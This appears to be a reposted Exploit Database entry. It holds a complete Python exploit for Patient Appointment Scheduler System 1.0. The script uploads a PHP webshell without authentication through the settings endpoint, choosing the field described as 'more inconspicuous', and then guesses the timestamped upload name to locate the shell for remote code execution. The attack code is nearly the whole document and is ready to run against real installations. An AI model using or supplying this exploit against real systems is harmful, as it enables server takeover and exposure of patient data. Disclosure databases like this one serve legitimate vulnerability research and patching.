Patient Appointment Scheduler System 1.0 – Unauthenticated File Upload

• Exploit Database
• 36 阅读

• 作者： a-rey
  日期： 2021-09-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50264/

• # Exploit Title: Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload
  # Date: 03/09/2021
  # Exploit Author: a-rey 
  # Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14928
  # Version: v1.0
  # Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
  # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md
  
  #!/usr/bin/env python3
  # -*- coding: utf-8 -*-
  
  import os
  import time
  import logging
  import requests
  import argparse
  
  BANNER = """
  ╔═════════════════════════════════════════════════════════════════════════════════════════════════╗
  ║ Patient Appointment Scheduler System v1.0 - Unauthenticated File Upload & Remote Code Execution ║
  ╚═════════════════════════════════════════════════════════════════════════════════════════════════╝
   by: \033[0m\033[1;31m █████╗██████╗ ███████╗██╗ ██╗\033[0m
   \033[0m\033[1;32m██╔══██╗ ██╔══██╗██╔════╝██║ ██║\033[0m
   \033[0m\033[1;33m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝\033[0m
   \033[0m\033[1;34m██╔══██║ ██╔══██╗██╔══╝ ██╔╝\033[0m
   \033[0m\033[1;35m██║██║ ██║██║███████╗ ██║ \033[0m
   \033[0m\033[1;36m╚═╝╚═╝ ╚═╝╚═╝╚══════╝ ╚═╝ \033[0m
  """
  
  
  def exploit(url:str, file:str, delay:int) -> None:
  if not os.path.exists(file):
  logging.error(f'webshell payload "{file}"" does not exist?')
  return
  logging.info(f'uploading webshell payload "{os.path.basename(file)}" to {url}/uploads ...')
  uploadTime = int(time.time())
  r = requests.post(url + '/classes/SystemSettings.php', 
  files={'img' : (os.path.basename(file), open(file, 'rb'))}, # NOTE: can also use 'cover' field, but this is more inconspicuous
  params={'f' : 'update_settings'},
  verify=False
  )
  if not r.ok:
  logging.error('HTTP upload request failed')
  return
  logging.info(f'finding new payload file name on target (+/- {delay} seconds) ...')
  for i in range(uploadTime - delay, uploadTime + delay + 1):
  r = requests.get(url + f'/uploads/{str(i)}_{os.path.basename(file)}', allow_redirects=False)
  logging.debug(f'trying {url}/uploads/{str(i)}_{os.path.basename(file)} ...')
  # NOTE: website will send redirects for all files that do not exist
  if r.status_code != 302:
  logging.success(f'webshell payload found on target at {url}/uploads/{str(i)}_{os.path.basename(file)}')
  return
  logging.error('failed to find payload on target')
  logging.warning('maybe need a larger delay or uploads directory is not writable?')
  return
  
  
  if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-u', '--url', help='website URL',type=str, required=True)
  parser.add_argument('-p', '--payload', help='PHP webshell file to upload',type=str, required=True)
  parser.add_argument('-d', '--delay', help='delay (seconds) for file timestamp in payload name on target', type=int, required=False, default=60)
  parser.add_argument('--debug', help='enable debugging output',action='store_true', default=False)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,'\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNER)
  # run exploit
  exploit(args.url, args.payload, args.delay)